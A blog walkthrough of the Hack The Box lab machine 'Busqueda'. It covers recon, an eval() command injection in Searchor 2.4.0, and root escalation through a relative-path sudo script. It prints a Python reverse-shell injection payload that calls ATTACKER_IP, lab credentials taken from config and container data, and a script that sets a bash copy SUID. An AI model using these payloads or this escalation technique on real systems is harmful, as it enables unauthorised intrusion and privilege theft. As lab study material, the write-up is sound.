~/joshua-eom
← All posts

Hack The Box: Busqueda

941 words4 min read

Also on Medium ↗

On this page
  1. Machine Description
  2. Reconnaissance
  3. Enumerating HTTP
  4. User Flag
  5. Root Flag
  6. Lessons Learned

Machine: Busqueda on Hack The Box · Linux · Easy

Machine Description

Busqueda is an Easy Difficulty Linux machine that involves exploiting a command injection vulnerability present in a Python module. By leveraging this vulnerability, we gain user-level access to the machine. To escalate privileges to root, we discover credentials within a Git config file, allowing us to log into a local Gitea service. Additionally, we uncover that a system checkup script can be executed with root privileges by a specific user. By utilizing this script, we enumerate Docker containers that reveal credentials for the administrator user’s Gitea account. Further analysis of the system checkup script’s source code in a Git repository reveals a means to exploit a relative path reference, granting us Remote Code Execution (RCE) with root privileges.

Reconnaissance

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIzAFurw3qLK4OEzrjFarOhWslRrQ3K/MDVL2opfXQLI+zYXSwqofxsf8v2MEZuIGj6540YrzldnPf8CTFSW2rk=
|   256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPTtbUicaITwpKjAQWp8Dkq1glFodwroxhLwJo6hRBUK
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52
|_http-title: Searcher
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
| http-server-header: 
|   Apache/2.4.52 (Ubuntu)
|_  Werkzeug/2.1.2 Python/3.10.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumerating HTTP

Looking into the server headers, we know that it’s running Apache/2.4.52, Werkzeug/2.1.2, and Python/3.10.6. Going into the website after adding searcher.htb as the domain in /etc/hosts, we also see Searchor 2.4.0 which has a huge code injection vulnerability for the search feature provided.

The Searcher web app on searcher.htb, with its search engine dropdown and query box

User Flag

Searchor is a program that generates a query URL for a dropdown of search engines.

“Werkzeug, often referred to as the “Swiss Army knife” of Python web development, provides a robust set of tools and utilities for building WSGI-compliant applications” - Stackoverflow

Good tip is to look at a Github repository’s changelog to see potential exploits they’ve fixed

Searchor Releases: https://github.com/ArjunSharda/Searchor/releases

Searchor’s releases page on GitHub

The Searchor change that fixed the vulnerable query function

The reason this query function was vulnerable is due to the use of a vulnerable python function eval()

More information on how eval() is a dangerous function: https://medium.com/swlh/hacking-python-applications-5d4cd541b3f1

You can use these exploits:

I used Burpsuite to manipulate the query to create a reverse shell:

POST /search HTTP/1.1
Host: searcher.htb
Content-Length: 27
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://searcher.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://searcher.htb/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

engine=Accuweather&query=',%20exec(%22import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',PORT));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call(%5B'/bin/sh','-i'%5D);%22))#

After you get the reverse shell, you can extract the user flag

Root Flag

After enumerating through the reverse shell, I found a git config file that contains user information for cody

$ cat .git/config
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[remote "origin"]
	url = http://cody:XXXXXX@gitea.searcher.htb/cody/Searcher_site.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
	remote = origin
	merge = refs/heads/main

Running sudo -l as a typical enumeration to see if I can sudo into a root shell. I would need to use the credentials found in the config file to see the results

$ sudo -l
[sudo] password for svc: 
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

Running the sudo script, we get these options

$ sudo python3 /opt/scripts/system-checkup.py testing
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

Running docker-ps we now know there’s 2 docker instances

$ sudo python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED        STATUS       PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   2 months ago   Up 4 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   2 months ago   Up 4 hours   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

Then we run docker-inspect to inspect data within the docker instances. In this case we can look through gitea

$ sudo python3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>

# Format as json with . as the selector to list everything from the gitea container and prettify it with jq
$ sudo python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea | jq .
{                                                         
  "Id": "960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb",
  "Created": "2023-01-06T17:26:54.457090149Z",
  "Path": "/usr/bin/entrypoint",                          
  "Args": [
    "/bin/s6-svscan",
    "/etc/s6"
  ],  
...[snip]...
    "Env": [
      "USER_UID=115",
      "USER_GID=121",
      "GITEA__database__DB_TYPE=mysql",
      "GITEA__database__HOST=db:3306",
      "GITEA__database__NAME=gitea",
      "GITEA__database__USER=gitea",
      "GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
      "USER=git",
      "GITEA_CUSTOM=/data/gitea"                          
    ],  
...[snip]...

# Retrieve network settings to see which IP the SQL server is in
$ sudo python3 /opt/scripts/system-checkup.py docker-inspect '{{json .NetworkSettings.Networks}}' mysql_db | jq .
{
  "docker_gitea": {
    "IPAMConfig": null,
    "Links": null,
    "Aliases": [
      "f84a6b33fb5a",
      "db"
    ],
    "NetworkID": "cbf2c5ce8e95a3b760af27c64eb2b7cdaa71a45b2e35e6e03e2091fc14160227",
    "EndpointID": "4d843a366dbaece32f09158e28a9f41d0a94cf2892455102e2800dcc445e9561",
    "Gateway": "172.19.0.1",
    "IPAddress": "172.19.0.3",
    "IPPrefixLen": 16,
    "IPv6Gateway": "",
    "GlobalIPv6Address": "",
    "GlobalIPv6PrefixLen": 0,
    "MacAddress": "02:42:ac:13:00:03",
    "DriverOpts": null
  }
}

With this we can login and extract the admin credentials for another gitea account. In this account we see the source code for the scripts provided. Previously there was an option full-checkup which returned an error and now we know why:

elif action == 'full-checkup':
    try:
        arg_list = ['./full-checkup.sh']
        print(run_command(arg_list))
        print('[+] Done!')
    except:
        print('Something went wrong')
        exit(1)

It was looking for full-checkup.sh shell script in the current directory to run. So all we have to do is to copy /bin/bash and give it full permissions so I can run a root shell. Save this as full-checkup.sh in a directory you can write to, and make it executable with chmod +x full-checkup.sh:

#!/bin/bash

cp /bin/bash /tmp/shell
chmod 4777 /tmp/shell

Then run the checkup from that same directory:

$ sudo python3 /opt/scripts/system-checkup.py full-checkup
[+] Done!
$ /tmp/shell -p
shell-5.1#

And from there you have root!

Lessons Learned

  • Always look through the source code of the changes made to fix these real life vulnerabilities to learn what to look for. In this case it’s an easy eval() exploit
  • sudo -l is an easy way to get into root shell
  • jq is a nice tool for cleaning up json data
  • Docker SQL servers have local IPs you need to find. In this case, you had to make a custom built docker query, but most of the time you can see using docker inspect